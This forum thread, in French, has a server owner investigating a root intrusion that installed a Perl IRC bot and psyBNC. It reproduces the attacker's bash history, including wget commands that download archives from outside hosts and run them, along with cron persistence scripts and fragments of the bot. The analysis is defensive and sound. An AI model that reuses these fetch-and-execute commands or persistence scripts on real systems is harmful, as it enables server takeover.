View previous topic :: View next topic |
Author |
Message |
digimag Guru


Joined: 14 May 2005 Posts: 451 Location: Toulouse, France
|
Posted: Sun Feb 12, 2012 12:06 am Post subject: [rootkit] comment retrouver la porte d'entrée ? (résolu) |
|
|
Bonjour,
Cela m'est finalement arrivé, le serveur est infecté. J'ai vu un processus qui consommait 100 % du CPU dans top :
Code: | PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
29352 root 20 0 32472 4192 1544 R 98.8 0.2 38792:57 perl |
Et dans ps aux :
Code: | root 29347 0.0 0.0 828 548 ? S Jan13 0:29 -bash
root 29352 90.8 0.2 32472 4192 ? R Jan13 38754:57 /usr/sbin/sshd |
J'ai fait exécuter rkhunter qui m'a signalé le dossier /var/tmp/.log comme étant potentiellement suspect.
Déjà, le contenu du dossier /var/tmp/.log ne laissait aucun doute, il y avait plein de scripts, c'était visiblement un bot IRC.
J'ai fait un scan avec maldetect sur le dossier, et voici sa réponse :
Code: | PATH: /var/tmp/.log/
TOTAL FILES: 327
TOTAL HITS: 1
TOTAL CLEANED: 0
NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 021112-2350.13461
FILE HIT LIST:
{HEX}perl.ircbot.Arabhack.55 : /var/tmp/.log/target |
Début du fichier target :
Code: | !/usr/bin/perl
# this spreader is coded by xdh
# xdh@xxxxxxxxxxx
# only for testing...
my @nickname = ("PSY",
"PSY");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
my $processo = '/usr/sbin/sshd';
… |
Il y avait aussi une tâche cron ajoutée au système :
Code: | * * * * * /var/tmp/.log/update >/dev/null 2>&1 |
Code: | # cat tmp/.log/update
#!/bin/sh
if test -r /var/tmp/.log/psybnc.pid; then
pid=$(cat /var/tmp/.log/psybnc.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/tmp/.log
rm -rf target
./run &>/dev/null
# cat tmp/.log/run
#!/bin/sh
export PATH=.
-bash |
Et -bash est un binaire, je ne sais ce qu'il fait. Par contre son MD5 est d7cb8d530dd813f34bdcf1b6c485589b qui correspond au binaire psybnc.
psybnc.conf :
Code: | PSYBNC.SYSTEM.PORT1=3303
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=Bomfunk
USER1.USER.USER=danieL
USER1.USER.PASS==0M0o'=0I1z1u`x`V1H
…
USER1.USER.AWAYNICK=SoLdieR
USER1.USER.AWAY=^C2 ain`t no sunhine
USER1.USER.NICK=SoLdieR
USER1.SERVERS.SERVER1=tampa.fl.us.undernet.org
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY0=#Dersca |
Mais la question que je me pose, c'est comment le script a-t-il été installé ? Je ne vois rien de spécial dans les logs nginx, pas de requêtes suspectes le 13 janvier.
Aussi, le fait que tous les fichiers soient installés sous le compte root est très troublant.
Ah ! Je vois dans bash_history :
Code: | w
cat /proc/cpuinfo
wget
ps x
cd /tmp
wget http://kanada.co/bnc.tgz ; tar zxvf bnc.tgz ; cd .font-unix ; chmod +x * ; ./go
cd /var/tmp
tar zxvf bnc.tgz
tar zxvf bnc.tar
wget http://www.grigoreworld.com/marius/bnc.jpg
tar zxvf bnc.jpg
rm -rf bnc.jpg
cd .log
./go
passwd
ps x |
La p***… Il y avait bien quelqu'un qui s'est connecté sous le compte root !! Mais comment ?!
Je découvre la présence d'un autre fichier, /var/tmp/kanada.tar, qui contient également le bot IRC, daté du 3 janvier !
Hors mes logs auth.log ne remontent pas plus loin que le 8 janvier… quel dommage ! (je me demande s'ils n'ont pas été supprimés)
Et voici les IP des connexions qui ne m'appartiennent pas :
Code: |
Jan 11 02:22:15 hstler sshd[23510]: Accepted password for root from 46.61.184.118 port 51438 ssh2
Jan 12 06:32:02 hstler sshd[16897]: Accepted password for root from 221.233.196.109 port 49163 ssh2
Jan 13 07:21:28 hstler sshd[28895]: Accepted password for root from 202.153.207.172 port 34876 ssh2
Jan 13 07:26:05 hstler sshd[29042]: Accepted password for root from 78.97.107.233 port 1492 ssh2
Jan 13 07:27:23 hstler sshd[29178]: Accepted password for root from 78.97.107.233 port 1494 ssh2 |
Pourtant, je m'authentifiais toujours avec avec une clef publique, et il me semble que j'avais supprimé et locké le mot de passe root dès le départ pour empêcher les connexions SSH root par mot de passe. De plus, dans la config SSHD, j'avias interdit les mots de passe vides. _________________ Sacha
Last edited by digimag on Sun Feb 12, 2012 12:53 pm; edited 1 time in total |
|
Back to top |
|
 |
digimag Guru


Joined: 14 May 2005 Posts: 451 Location: Toulouse, France
|
Posted: Sun Feb 12, 2012 12:25 am Post subject: |
|
|
Après l'examen de l'historique bash, j'avais bel et bien effacé et locké le mot de passe root bien avant le 3 janvier.
Et le fichier kanada.tar n'y figure pas, alors qu'il a aussi root pour propriétaire.
Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root… _________________ Sacha |
|
Back to top |
|
 |
netfab Veteran


Joined: 03 Mar 2005 Posts: 1699 Location: 127.0.0.1
|
Posted: Sun Feb 12, 2012 8:03 am Post subject: |
|
|
digimag wrote: | Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root… |
A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne |
|
Back to top |
|
 |
El_Goretto Moderator


Joined: 29 May 2004 Posts: 3102 Location: Paris
|
Posted: Sun Feb 12, 2012 12:00 pm Post subject: |
|
|
netfab wrote: | digimag wrote: | Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root… |
A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne |
Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo. _________________ -Gentoo hardened [EoL]: µ-serv Gen8 G1610T, 8Go ECC ; NF9D-2700, 4Go
-FreeBSD 11/Vimage/Jails: DS61, i3 2100T, 16Go ; FreeNAS: µ-serv N40L, 8Go ECC
-Réseau: ERL-3 + ESL-24 + GS108Tv2
-NAS: RN312 |
|
Back to top |
|
 |
digimag Guru


Joined: 14 May 2005 Posts: 451 Location: Toulouse, France
|
Posted: Sun Feb 12, 2012 12:52 pm Post subject: |
|
|
El_Goretto wrote: | netfab wrote: | A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne | Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo. | Ça pouvait être ça alors.
J'ai eu mon baptême de disque dur mort du jour au lendemain il y a six mois, et maintenant une intrusion sous root. Il est temps de réfléchir à nouveau à la sécurité… _________________ Sacha |
|
Back to top |
|
 |
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
|